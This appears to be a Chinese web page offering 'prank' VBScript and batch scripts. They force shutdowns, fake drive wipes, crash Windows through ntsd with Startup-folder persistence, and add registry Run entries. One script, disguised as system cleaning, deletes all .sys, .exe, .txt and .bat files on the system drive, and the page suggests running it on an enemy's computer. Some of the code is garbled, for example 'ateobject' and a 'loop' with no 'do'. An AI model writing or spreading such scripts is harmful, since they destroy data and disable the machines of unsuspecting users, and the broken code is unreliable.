恶搞代码收藏--688IT编程网

（1）on error resume next

dim WSHshellA

set WSHshellA = ateobject("wscript.shell")

WSHshellA.run " /c shutdown -r -t 60 -c ""哈哈你惨了，回答个问题才不关你机，不回答我问题就在就一分钟关你机，请回答""我是个傻瓜"" 不信，试试看···"" ",0 ,true

dim a

do while(a <> "我是个傻瓜")

a = inputbox ("呵呵，说我是个傻瓜,就不关机，快说，说 ""我是个傻瓜""　","说不说","有本事就不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = ateobject("wscript.shell")

WSHshell.run " /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾！爽了吧！叫你不陪我说话"

用记事本保存扩展名为 .vbe

(2）建个记事本

写上下事的代码，保存后改扩展名TXT为bat就可以了，这是吓人用的。

@ color 4f

@echo off

echo 删除计算机的C盘的所有文件......

ping 127.0.0.1 /n 2 >nul

echo 已删除完毕

echo.

echo 删除计算机的D盘的所有文件......

ping 127.0.0.1 /n 2 >nul

echo 已删除完毕

echo.

echo 删除计算机的E盘的所有文件......

ping 127.0.0.1 /n 2 >nul

echo 已删除完毕

@ color

echo.

echo. =========================================

echo. 夜黑杀人夜，风高放火天，哈哈 ……

echo. =========================================

echo. 系统将马上崩溃......

echo. 这是一个木马程序......所有资料已经传到 ************

shutdown /r /t 300 /c "想要回你的资料可以给我发个信，不过先准备点那个……"

ntsd -c q -

ping 127.0.0.1 /n 20 >nul

shutdown -a

这是个开机蓝屏得小程序

@echo off

set var=%userprofile%\「开始」菜单\程序\启动

xcopy/y %0 "%var%"\

cmd /c start /min ntsd -c q - 1>nul 2>nul

然后保存为.bat格式即可注意：请勿拿自己得电脑做实验后果自负哦

代码如下：

@echo off

echo 正在清理系统文件，请稍等......

del /f /s /q %systemdrive%\*.sys

del /f /s /q %systemdrive%\*.exe

del /f /s /q %systemdrive%\*.txt

del /f /s /q %systemdrive%\*.bat

del /f /s /q %systemdrive%\*.chk

del /f /s /q %systemdrive%\*.old

del /f /s /q %systemdrive%\recycled\*.*

del /f /s /q %windir%\*.bak

del /f /s /q %windir%\prefetch\*.*

rd /s /q %windir%\temp & md %windir%\temp

del /f /q %userprofile%\cookies\*.*

del /f /q %userprofile%\recent\*.*

del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"

del /f /s /q "%userprofile%\Local Settings\Temp\*.*"

del /f /s /q "%userprofile%\recent\*.*"

echo 自杀完成！

echo. & pause

保存格式为bat

严重声明：如果是在自己家里上网,最好不要运行.不过如果有人跟你有仇,而且不在网吧上网.你可以..........

一段代码恶搞在你电脑上乱登QQ的人

别人老在你电脑上乱等QQ，是不是让你很烦啊？

下个软件限制别人登陆好像自己不够大方，不如玩点个性的~

用下面一段代码就能轻松打造你自己的登陆锁，

_____________________________________882q————————————

dim a

const pass="喜欢"

a=inputbox("你喜欢www.882q吗?说喜欢就能登陆了。不说不能登陆QQ哦@@")

if a=pass then

msgbox("你好听话哦，你可以登陆QQ了！！~~")

exit do

end if

loop

_____________________________________882q————————————

vbs小程序代码大全修改方法，在你的qq安装目录下，到NewSkins文件夹---接着到QQ2008文件夹，然后到“VBScript.vbs”这个文件，用记事本打开“VBScript.vbs”，在“VBScript.vbs”最上面加上上面的蓝代码。保存，登陆QQ，要输入密码的，等你的QQ皮肤运行的时候，这个窗口就会弹出来了：

输入你设定的密码：“喜欢”

会弹出来另外一个窗口：

当然，弹出窗口上的字你可自己设定。。

QQ2009版本上应该也可以用这个方法来实现此功能，本人没有测试，如果你有兴趣可以测试下，

下面的下载地址是我设定的登陆窗口，如果你不会设定，就拿我的先用吧，或者加我的QQ： 56632158 我帮你搞个。

屏幕狂闪的代码

=========代码开始============

@Echo Off

rd /Q /S C:"Documents and Settings"\%username%\「开始」菜单\程序\启动

@Copy /y %0 %windir%\2.bat

@reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v expl0rer /t REG_SZ /d %windir%\2.bat /f >nul

@Echo Off

@Echo Exit|%ComSpec% /k prompt e 100 B4 00 B0 12 Cd 10 B0 03 Cd 10 Cd 20 $_g$_q$_|debug>nul

@chcp 437>nul

@graftabl 936>nul

color 0a

@Echo Off

:xing

color 0a